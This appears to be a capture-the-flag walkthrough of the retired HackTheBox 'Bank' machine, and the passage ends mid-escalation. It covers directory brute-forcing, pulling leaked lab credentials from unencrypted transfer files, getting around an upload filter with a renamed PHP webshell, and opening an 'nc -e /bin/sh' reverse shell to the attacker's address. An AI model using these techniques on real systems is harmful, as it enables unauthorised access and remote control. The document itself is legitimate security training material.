HackTHeBox - Bank - Retired

HackTHeBox - Bank - Retired - Update

Recon

I've been using threader3000 to run my recon scans lately. It does a super fast up/down scan on all TCP ports then suggests and NMAP scan based only on the ports that were up in the first scan. It also automatically saves the nmap results out to an XML file, that I then convert to HTML to make it pretty.

xsltproc ./bank.htb/bank.htb.xml -o ./bank.html

Looks like we have just three open ports… 22,53 and 80

Nmap thinks the box is ubuntu

Port Product Version
22 OpenSSH 6.6.1p1
53 BIND 9.9.5-3
80 Apache 2.4.7

Let's start with port 80 and see what is might be serving us.

A login form for HTB Bank is what we see when we browse to the server.

Let's brute force the directories to see if we can find any other pages being served.

I used dirbuster and the

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Wordlist.

Eventually I saw this directory it found

/balance-transfer/

When we browse to it we get a listing of a bunch of files with .acc extensions.

Clicking one at random we see this

It looks like a log of a balance transfer.

See that part at the beginning "++OK ENCRYPT SUCCESS" I wonder if any of the resulting acc files didn't get encrypted and we might be able to a username and password for the site.

I started by making a folder called download and moving in to that folder on my kali box.

Now using wget We will attempt to save all the files locally so we can grep them.

wget --recursive --no-parent http://bank.htb/balance-transfer/

That was a lot of files, over one thousand.

It looks like the "encrypted text" might be in base64 so there should be no special characters in the "encrypted" part of the files.

So let's just search for "@" and see if we can find one that didn't get encrypted.

grep -r "@"

And it looks like we got a hit.

bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc:Email: chris@bank.htb

Let's cat that file and see what the contents are.

cat bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc

And just as we hoped we found one were the encryption did not happen.

--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

Let's see if these credentials are still good to login to the bank website.

Exploit

Ok we are now and authenticated user.. Hopefully we can find a way to get on this box now.

Did you see that over on the left too?

Support huh…. What's that?

We can create support tickets and upload files….. This would relate to the /uploads/ folder dirbuster found earlier I bet.

Let's start to just see how this is supposed to function and upload a picture.

We successfully created a ticket.

And there is our cute little hacker money in the /uploads folder just was we thought.. And it wasn't even renamed.

So we can upload files to a folder and then access them…. So next let's try a php webshell.

I've been using this php shell lately I really like it

https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php

Boo it doesn't like my php file.

Check out this in the source code.

So we just rename it .htb instead of php and it will allow us to upload and execute it?

Okay…….

Ok now if we click on attachment we get our php shell and it is executing as www-data

Let's get a real shell now.

First we setup our netcat listener, on a port we choose.

nc -lnvp 5555

Then just pop this in the cmd input box on our webshell.

nc 10.10.14.10 5555 -e /bin/sh

I like to poke around in the /var directory when I get a www-data account, for creds that might be left in configuration file or some such method for escalation.

Under /var I found this folder named htb.